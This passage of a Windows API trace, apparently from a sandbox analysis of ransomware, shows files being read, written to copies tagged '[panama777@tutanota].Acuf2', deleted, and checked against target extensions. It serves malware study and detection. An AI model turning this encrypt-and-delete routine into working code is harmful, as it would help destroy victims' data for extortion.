	[0273.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.374] GetLastError () returned 0x0
	[0273.375] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x29b0, lpOverlapped=0x0) returned 1
	[0273.377] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x29c0, lpOverlapped=0x0) returned 1
	[0273.378] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.378] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0273.378] SetEndOfFile (hFile=0x38c) returned 1
	[0273.378] CloseHandle (hObject=0x38c) returned 1
	[0273.378] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.378] SetEndOfFile (hFile=0x29c) returned 1
	[0273.380] CloseHandle (hObject=0x29c) returned 1
	[0273.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 1
	[0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67
	[0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67
	[0273.381] lstrlenW (lpString=".doc") returned 4
	[0273.381] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0273.381] lstrlenW (lpString=".docx") returned 5
	[0273.381] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1
	[0273.381] lstrlenW (lpString=".pdf") returned 4
	[0273.381] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0273.381] lstrlenW (lpString=".xls") returned 4
	[0273.381] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0273.381] lstrlenW (lpString=".xlsx") returned 5
	[0273.381] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1
	[0273.381] lstrlenW (lpString=".ppt") returned 4
	[0273.381] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67
	[0273.381] lstrlenW (lpString=".zip") returned 4
	[0273.381] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0273.381] lstrlenW (lpString=".rar") returned 4
	[0273.381] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0273.382] lstrlenW (lpString=".bz2") returned 4
	[0273.382] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0273.382] lstrlenW (lpString=".7z") returned 3
	[0273.382] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0273.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67
	[0273.382] lstrlenW (lpString=".dbf") returned 4
	[0273.382] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0273.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67
	[0273.382] lstrlenW (lpString=".1cd") returned 4
	[0273.382] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0273.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67
	[0273.382] lstrlenW (lpString=".jpg") returned 4
	[0273.382] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0273.382] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=12704) returned 1
	[0273.382] CloseHandle (hObject=0x29c) returned 1
	[0273.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 0x20
	[0273.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0273.383] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.383] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.383] GetLastError () returned 0x0
	[0273.383] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x31a0, lpOverlapped=0x0) returned 1
	[0273.385] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x31b0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x31b0, lpOverlapped=0x0) returned 1
	[0273.395] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.395] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0273.395] SetEndOfFile (hFile=0x38c) returned 1
	[0273.395] CloseHandle (hObject=0x38c) returned 1
	[0273.395] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.395] SetEndOfFile (hFile=0x29c) returned 1
	[0273.397] CloseHandle (hObject=0x29c) returned 1
	[0273.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 1
	[0273.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66
	[0273.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66
	[0273.398] lstrlenW (lpString=".doc") returned 4
	[0273.398] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0273.398] lstrlenW (lpString=".docx") returned 5
	[0273.398] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1
	[0273.398] lstrlenW (lpString=".pdf") returned 4
	[0273.398] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0273.398] lstrlenW (lpString=".xls") returned 4
	[0273.398] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0273.398] lstrlenW (lpString=".xlsx") returned 5
	[0273.398] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1
	[0273.398] lstrlenW (lpString=".ppt") returned 4
	[0273.398] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0273.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66
	[0273.398] lstrlenW (lpString=".zip") returned 4
	[0273.398] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0273.398] lstrlenW (lpString=".rar") returned 4
	[0273.398] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0273.398] lstrlenW (lpString=".bz2") returned 4
	[0273.398] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0273.398] lstrlenW (lpString=".7z") returned 3
	[0273.398] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0273.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66
	[0273.398] lstrlenW (lpString=".dbf") returned 4
	[0273.398] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0273.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66
	[0273.398] lstrlenW (lpString=".1cd") returned 4
	[0273.398] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0273.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66
	[0273.399] lstrlenW (lpString=".jpg") returned 4
	[0273.399] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0273.399] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=11144) returned 1
	[0273.399] CloseHandle (hObject=0x29c) returned 1
	[0273.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 0x20
	[0273.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0273.399] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.399] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.400] GetLastError () returned 0x0
	[0273.400] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x2b88, lpOverlapped=0x0) returned 1
	[0273.711] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x2b90, lpOverlapped=0x0) returned 1
	[0273.711] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.712] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0273.712] SetEndOfFile (hFile=0x38c) returned 1
	[0273.712] CloseHandle (hObject=0x38c) returned 1
	[0273.712] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.712] SetEndOfFile (hFile=0x29c) returned 1
	[0273.714] CloseHandle (hObject=0x29c) returned 1
	[0273.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 1
	[0273.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64
	[0273.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64
	[0273.730] lstrlenW (lpString=".doc") returned 4
	[0273.730] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0273.730] lstrlenW (lpString=".docx") returned 5
	[0273.730] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1
	[0273.730] lstrlenW (lpString=".pdf") returned 4
	[0273.730] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0273.730] lstrlenW (lpString=".xls") returned 4
	[0273.730] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0273.730] lstrlenW (lpString=".xlsx") returned 5
	[0273.730] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1
	[0273.730] lstrlenW (lpString=".ppt") returned 4
	[0273.730] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0273.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64
	[0273.730] lstrlenW (lpString=".zip") returned 4
	[0273.730] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0273.730] lstrlenW (lpString=".rar") returned 4
	[0273.730] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0273.730] lstrlenW (lpString=".bz2") returned 4
	[0273.730] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0273.730] lstrlenW (lpString=".7z") returned 3
	[0273.730] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0273.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64
	[0273.731] lstrlenW (lpString=".dbf") returned 4
	[0273.731] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0273.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64
	[0273.731] lstrlenW (lpString=".1cd") returned 4
	[0273.731] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0273.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64
	[0273.731] lstrlenW (lpString=".jpg") returned 4
	[0273.731] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0273.977] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.985] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.990] GetLastError () returned 0x0
	[0273.990] ReadFile (in: hFile=0x388, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x79a0, lpOverlapped=0x0) returned 1
	[0274.003] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x79b0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x79b0, lpOverlapped=0x0) returned 1
	[0274.004] ReadFile (in: hFile=0x388, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.004] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.004] SetEndOfFile (hFile=0x38c) returned 1
	[0274.004] CloseHandle (hObject=0x38c) returned 1
	[0274.004] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.004] SetEndOfFile (hFile=0x388) returned 1
	[0274.007] CloseHandle (hObject=0x388) returned 1
	[0274.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) returned 1
	[0274.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63
	[0274.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63
	[0274.020] lstrlenW (lpString=".doc") returned 4
	[0274.020] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0274.023] lstrlenW (lpString=".docx") returned 5
	[0274.023] lstrcmpiW (lpString1=".docx", lpString2="N.FAE") returned -1
	[0274.033] lstrlenW (lpString=".pdf") returned 4
	[0274.033] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0274.033] lstrlenW (lpString=".xls") returned 4
	[0274.033] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0274.033] lstrlenW (lpString=".xlsx") returned 5
	[0274.033] lstrcmpiW (lpString1=".xlsx", lpString2="N.FAE") returned -1
	[0274.033] lstrlenW (lpString=".ppt") returned 4
	[0274.033] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0274.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63
	[0274.033] lstrlenW (lpString=".zip") returned 4
	[0274.033] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0274.033] lstrlenW (lpString=".rar") returned 4
	[0274.033] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0274.034] lstrlenW (lpString=".bz2") returned 4
	[0274.034] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0274.034] lstrlenW (lpString=".7z") returned 3
	[0274.034] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0274.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63
	[0274.034] lstrlenW (lpString=".dbf") returned 4
	[0274.034] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0274.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63
	[0274.034] lstrlenW (lpString=".1cd") returned 4
	[0274.034] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0274.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63
	[0274.034] lstrlenW (lpString=".jpg") returned 4
	[0274.034] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0274.167] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.167] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0274.167] GetLastError () returned 0x0
	[0274.167] ReadFile (in: hFile=0x390, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xcb98, lpOverlapped=0x0) returned 1
	[0274.188] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xcba0, lpOverlapped=0x0) returned 1
	[0274.190] ReadFile (in: hFile=0x390, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.190] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0274.190] SetEndOfFile (hFile=0x274) returned 1
	[0274.190] CloseHandle (hObject=0x274) returned 1
	[0274.190] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.190] SetEndOfFile (hFile=0x390) returned 1
	[0274.193] CloseHandle (hObject=0x390) returned 1
	[0274.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) returned 1
	[0274.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61
	[0274.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61
	[0274.229] lstrlenW (lpString=".doc") returned 4
	[0274.229] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0274.229] lstrlenW (lpString=".docx") returned 5
	[0274.229] lstrcmpiW (lpString1=".docx", lpString2="E.FAE") returned -1
	[0274.229] lstrlenW (lpString=".pdf") returned 4
	[0274.229] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0274.229] lstrlenW (lpString=".xls") returned 4
	[0274.229] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0274.229] lstrlenW (lpString=".xlsx") returned 5
	[0274.229] lstrcmpiW (lpString1=".xlsx", lpString2="E.FAE") returned -1
	[0274.229] lstrlenW (lpString=".ppt") returned 4
	[0274.229] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0274.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61
	[0274.229] lstrlenW (lpString=".zip") returned 4
	[0274.229] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0274.229] lstrlenW (lpString=".rar") returned 4
	[0274.229] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0274.229] lstrlenW (lpString=".bz2") returned 4
	[0274.229] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0274.229] lstrlenW (lpString=".7z") returned 3
	[0274.229] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0274.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61
	[0274.229] lstrlenW (lpString=".dbf") returned 4
	[0274.229] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0274.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61
	[0274.230] lstrlenW (lpString=".1cd") returned 4
	[0274.230] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0274.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61
	[0274.230] lstrlenW (lpString=".jpg") returned 4
	[0274.230] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0274.589] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=50568) returned 1
	[0274.591] CloseHandle (hObject=0x390) returned 1
